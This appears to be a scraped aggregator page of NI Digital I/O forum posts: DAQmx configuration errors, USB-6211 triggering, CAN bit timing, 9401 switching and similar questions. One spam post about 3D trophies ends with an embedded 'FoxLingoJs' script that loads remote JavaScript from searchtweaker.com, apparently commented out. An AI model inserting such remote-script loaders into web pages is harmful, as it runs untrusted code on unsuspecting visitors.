Quantcast
Channel: Digital I/O topics
Viewing all 2182 articles
Browse latest View live

NI-DAQmx

$
0
0

Hi all,

I am trying to sample a 12bit input using sample clock and start sampling trigger. Here's how I configure the task:

DAQmxErrChk(DAQmxCreateTask("",&samplHandle));
DAQmxErrChk(DAQmxCreateDIChan(samplHandle,"Dev1/port0/line0:7","",DAQmx_Val_ChanForAllLines));
DAQmxErrChk(DAQmxCfgSampClkTiming(samplHandle,"/Dev1/PFI0",1000000.0,DAQmx_Val_Rising,DAQmx_Val_FiniteSamps,length));
DAQmxErrChk(DAQmxCfgDigEdgeStartTrig(samplHandle,"/Dev1/PFI1",DAQmx_Val_Rising));
DAQmxErrChk(DAQmxRegisterEveryNSamplesEvent(samplHandle,DAQmx_Val_Acquired_Into_Buffer,length,0,Callback,this));
DAQmxErrChk(DAQmxTaskControl(samplHandle,DAQmx_Val_Task_Commit));

When I run it in QT Creator it gives me this error:

 

DAQmx Error: Specified property is not supported by the device or is not applicable to the task.

Property: DAQmx_StartTrig_Type

 

Task Name: _unnamedTask<0>

 

Status Code: -200452

DAQmx Error: Task specified is invalid or does not exist.

Status Code: -200088

 

Previously, when I used analog input instead of digital, I did not have any problems. Any one has a clue what's wrong with my channel configuration?

Also, I defined the channel as

"Dev1/port0/line0:7"

just for example. Can anyone tell me the syntax for defining PFI2:PFI13 for my 12bit digital input? It looks like I have to define it in lines/ports format which would probably look something like:

Dev1/port1/line2:7 through Dev1/port2/line0:5?


How to trig the measure of an analogic value on a usb-6211 in C?

$
0
0

Hi

 

I am new in the control of the Ni instruments, and I am completly stuck concerning a usb-6211.

 

I wish to acquire an analogic voltage when an interruption is detected on a digital port. Can you please give me the functions I have to use? I program in C, and I find pretty hard the way to control this box.

Thanks in advance.

Serial VISA and MCC USB-ERB24 Compatibility Issue

$
0
0

Hello! 

 

I haven't had much experience working with Digital I/O signals or VISA; however I did figure out how to control a syringe pump (Legato 270 - KD Scientific) using through VISA. I started having troubles when I connected a USB-ERB24 to be able to control some valves at the same time. 

 

The VI I'm trying to create needs to control the directrion of the syringe, i.e. whether to withdraw or infuse, and open and close some vavles depending on the direction of the syringe. The VI I wrote works fine until I trigger a relay on the USB-ERB24, after that the syringe pump doesn't respond anymore. When that happens I have to unplug it, restart it, and plug it back...then it works again. I'm assuming that for some reason the USB-ERB24 is somehow interfering or overtaking or something..but I don't know how or why..

 

Here is the link for the syringe pump drivers: LINK

 

Also a link to the USB-ERB24: LINK

 

I'm using Labview 2010 V10.0.1 

 

VI attached. 

 

I would appreciate any help/insight. 

Do we have Digital to Analog converter with high current output?

$
0
0

Do we have Digital to Analog converter with high current output? I need 8 channels and each channel has at least 100mA current output.Thanks!

could not load file or assembly 'nationalinstruments.DAQmx, version= 9.2.40.82

$
0
0

Hello,

I have a problem in my software deployment, using NIDAQ 6518.

I get the following message when i start my software on the deployment computer:

could not load file or assembly 'nationalinstruments.DAQmx, version= 9.2.40.82

 

 On my development computer, I don’t have this problem.

 By opening Measurement studio on my development computer, i find, in the software tab:

-          Measurement studio for VS2005.

-          Measurement studio for VS2010.

As you can see on this picture(SEE ATTACHMNET).

 

 

 But on the deployment computer when I install NIDAQ923-1. I find only

Measurement studio for VS2005.

 

As you can see on this picture (SEE ATTACHMNET).

Please help me to install properly the correct version that will allow me to have Measurement studio for VS2010.

NB:

-on the deployment computer installed NIDAQ923-1.

-I use Visual studio 2010 to programming

I2C Emulation with DIO

$
0
0

Hi,

I have the USB-6343 and will make a I2C Emulation with 2 DIO, I2C-Emulation should control a Digital Potentiometer.

Has anyone an idea or a example to this topic?

Regards

problème NI usb 6211, sample rate et sample to read

$
0
0

Bonjour,

 

je viens vers vous car je souhaite faire une acquisition continu d'un signal d'une entrée analogique. Sur cette entrée analogique est branchée un accéléromètre et un transducteur qui me renvoie donc une tension (120Mv/g) . J'ai donc réalisé à l'aide d'un exemple labview un programe. Cependant, celui-ci est très très long .. Lorsque je varie la tension d'entrée, cela prend plusieurs secondes avant d'afficher la valeur exact. Une erreur 200279 s'affiche lrosque les paramètres de sample read et sample rate ne correspondent pas... j'ai été voir sur le net sur ce lien :

 

http://digital.ni.com/public.nsf/allkb/AB7D4CA85967804586257380006F0E62

 

Mais rien n'y change. je vous laisse mon Vi en pièce jointe... cordialement

 

DIO Port write line mask

$
0
0

Hello,

 

I'm trying to port a legacy DAQ program to DAQmx, and have never used Labview Before. 

I have several DIO Port Writes and all of them use the "Line Mask" Input which is no longer there on the DAQmx. Otherwise I think I understand how DAQmx works.

I have no idea what this program puts in it's Line Mask and don't want to go through the whole thing trying to figure out how to do it from scratch without using line mask. Could someone simply post an equivalent using the DAQmx? Perhaps DAQmx can be packaged in a new .vi to behave like the Legacy one with a line mask?

 

Thanks

 

 


Grant a 3D Medal at Your Coming Important Ceremony

$
0
0

3D Animation

appreciation to 21st Centuary automation technology, the Ability to form and gift a high-tech  3D trophy for any event is nearer than you're thinking that.

 

The process is kind of simple; you'll retain management of the concept and therefore the image that you simply need, and once complete it may be used for love or money from a birthday to a marriage, and a business presentation to a sport-oriented event.

 

Specialised firms offers a made-to-measure, customer-oriented response to bring your concepts to reality in awing styles. The impact of a superior 3D trophy is to depart individuals wowed by the look and therefore the clarity of the portrait within the medium, which might be in either plastic or crystal. attributable to the sturdiness and adaptability of such a bit, it may be preserved for several years and is probably going to stay a point among business colleagues, friends or relatives. In any type, the 3D trophy is a permanent memory for a really big day.

 

A piece like this could be used either as a personal gift, like a birthday or graduation, or as a gaggle token - as an example for a sales award or for inter-business connected goals. Either way, it's virtually actually a poignant reminder for the receiver/s.

 

3D Walkthrough

The bonus of the 3D trophy is that, no matter any trade, a picture may be designed specifically to the theme of an occurrence - guaranteeing it's actually personalized.

 

Ready created styles

 

If you're have issue electing the kind of image that you simply need for your piece, firms typically provide a specialist portfolio of styles already created. The styles will vary over several themes and sectors from zodiac signs, animals and yuletide pictures, to additional tortuous flowers and non secular themes. there's possible to be a style to suit each conceivable event, together with birthdays, weddings, anniversaries and even a selected day, like St Valentine's Day, to form a novel gift for a honey.

 

These items may also play a vital in sports ceremonies: for the simplest player to the foremost improved, to fans' player of the season to additional vital regional and national league level awards - like best player of the season, best team, or maybe a bequest for a winning competition.

 

Bespoke styles

 

Those considering a style from their own imagination are going to be able to work aboard specialist designers, WHO are going to be able to take the transient and build a tailor-made piece. Once a picture is made (from a photograph or illustration) the creative person gets to figure on obtaining the detail correct. once all ar united the image is to the client's transient, it's set into a optical device machine to form the $64000 life image in to transparent. The part is then bright and ready for presentation. the joys of seeing a novel style return to fruition is as exciting for the creator because it is for the recipient.

 

Contact :-

The Cheesy Animation.

Ahmadabad, India.

Visit Us : - http://www.thecheesyanimation.com
<script id="FoxLingoJs" type="text/javascript">// (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})(); // </script>

NI 9401 switching frequency

$
0
0

Hello fellow LabVIEWers,

 

I have a problem in understanding the expression "switching frequency" in the spec of the NI 9401.

If I use all eight kanals for inputs, it is stated that the switching frequency will be down to 9 MHz.

 

So does this mean that I can not use the DIs in a SCTL running on 40 MHz, or does it rather mean that I won't be able to measure frequencies exceeding 9 MHz but still get an input corresponding to every singel channel on every tick, even though it might be still high when the input is allready low?

 

I'm using a cRIO-9074, and my incoming TTL signal is in the range of 10 kHz. I need this extream oversampling to optain a good accuracy. without using a two counter method.

 

Thanks!

NI USB-8473 Question About Configuring the Baud Rate

$
0
0

Hi,

 

I am trying to set up a CAN bus monitor with the USB-8473 product.  

 

I can not see anything.  I have configured a microcontroller-based board as a node on the CAN bus.  I need to match the timing requirements for bot the uC and the NI USB-8473 board.  

 

I don't understand the difference between baud rate and bit rate.  

 

I have set my micrcontroller to the following bit rate settings: 

 

CAN Bus Bit Rate: 125 kbps

CAN Bus Clock : 40Mhz

BRP = 32    (BRPreg=31)

TSEG1 = 4

TSEG2 = 3

BT = 10

Triple Sample Mode

 

I program it to continually send a message on the CAN bus from Mailbox 0, with a certain ID, etc.  

 

 

In NI's MAX (Measurement and Automation Explorer) I set up a bus monitor as follows: 

In My System ->Devices and Interfaces -> NI-CAN Devices -> USB-8473 ->CAN0

 

In properties I choose "Edit the Segments of the Bit Timing Register" 

I select: 

BRP+1 = 6

SJW+1 = 1

TSEG+1=5

TSEG2+1=4

Triple Sample Mode

This results in a Sample Point of 60%

 

I have added a 150 ohm termination resistor on the CAN bus wire.  

 

All this results in 133.33 kBaud.

 

So, what am I doing wrong?  I can't see anything on the CAN Bus Monitor.  

 

What is the difference between kBaud and kbps.  

 

How do I set the timings of the two nodes the same?  

 

Thanks,

Rick 

FPGA IP integration

$
0
0

Hello,
I'm trying to add a VHDL IP to an FPGA project in simulation mode,
But none of outputs are moving

Any help?

Specify Samples Only At Change?

$
0
0

No doubt a variation of this has been asked before, so my apologies but I'm unable to find anything.

 

I am using a PCIe-6537 and trying to generate a long sequence (say 2 seconds) using C. Is there any way to only specify a few samples? Or do I need to specify the value at every sample time?

 

For example, suppose I want on all 32 channels a 1 microsecond HIGH followed by 1 second LOW, repeated twice. I would like to be able to say:

 

Sample 0: 2^32 - 1

Sample 1: 0

Sample 1000000: 2^32 - 1

Sample 1000001: 0

 

However it seems I have to specify the actual value at every point in time. Of course this takes far more time and memory to Write but I don't see any other way. Is there a way?

 

I hope the question is clear. Thank you.

PCI-DIO-32HS error FFFCB820 (-215008)

$
0
0

DAQmx Start task gives this unknown error. What can it mean?

 

I am running digital acquisition task  with Burst (Output clock) with some external device, transmitting data. Alone it works fine.

Then I need to measure time after the read ends (PFI6 = Dig0/ReadyForTransfer falling edge) to external digital edge coming to PCI-6602..

If I configure (route /DIO/Dig0/ReadyForTransfer to RTSI2, setup counter measurements on PCI-6602), while DIO task is running (starting, measuring, stopping) both tasks run fine.

 

But I need to synchronize them.

If I first configure HSDIO task,

Then make route, configure and commit counter task, configuration  works fine.

But DIO-32HS Start task gives above error.

 

Is it because of some route that is required for DIO task, but is blocked by PCI6-RTSI2 connection? 

 

NI 1722 smart camera

$
0
0
hi ,i am using NI 1722 smart camera but sometimes it take long time during acquire image.Is there any problems with the software or hardware?

Switching on LED using 9401

$
0
0

Hello,

 

In LV 2010 version, I'm trying to just gow an LED using 9401 I/O module. I'm using Mod2/DIO1 to connect a switch and Mod2/DIO0 to connect to an LED. The switch is used as a control and LED as an indicator. Mod2/DIO1 is set to write and Mod2/DIO2 is set to read. I compiled the program successfully and ran it but the LED did not glow both in the Front Panel as well as the Block Diagram. What could possibly the problem?

 

Also I attached the .vi file I made. Please check the file and make corrections if any. 

 

Thanks!

Specify end point for Digital output using a Circular Buffer

$
0
0

When using DAQmx and an NI DAQ to output a digital signal using a circular buffer (the DAQs buffer). The program runs and works but when the function "DAQmx Stop Task.vi" is called to terminate the task, it stops the buffered output as soon as it is called and does not wait until the buffers pointer has reached the final value in the buffer. I would like the program to wait until the buffers pointer is on the final value in the buffer, does anyone know how to specify this setting?

Help choosing hardware for lab mirco distilling fermenting plant

$
0
0

Hi,

 

I have been fiddling around with LABview for a while now but i have a hard time choosing hardware for a simple slow lab scale fermenting and distilling plant. The hardware should be pc based and able to gather data from various sensors and manipulate pumps and valves. i have been looking into the USB-6501 USB Digital I/O but i am not sure if that is what i need. Any input would be appreciated.

 

8452 SPI communication

$
0
0
Hello, I have made a VI to communicate get the data from my sensor when I will send the commands. But it just returning me 00000000000000000 at each time. In oscilloscope I see something getting back but in LV program not have attached few details for it are attached It has Star, Measure and stop commands

recovering audio signal from PCM stream

$
0
0

Hi i want to recover an audio signal from a PCM stream which is being transmitted by a third party  system  on RS 422 wires. the only information i have about the PCM stream is

 

sampling freq              16kHz

bits                                 8

quantization tech          u Law qunatization

 

over all PCM data transmmison vlaue mentioned  is 2.408 M bits

 

please suggest me if it is doable or not . further more suggest the proper NI hardware as  well as software modules required to achive this. will NI 9401 do this job

Viewing all 2182 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>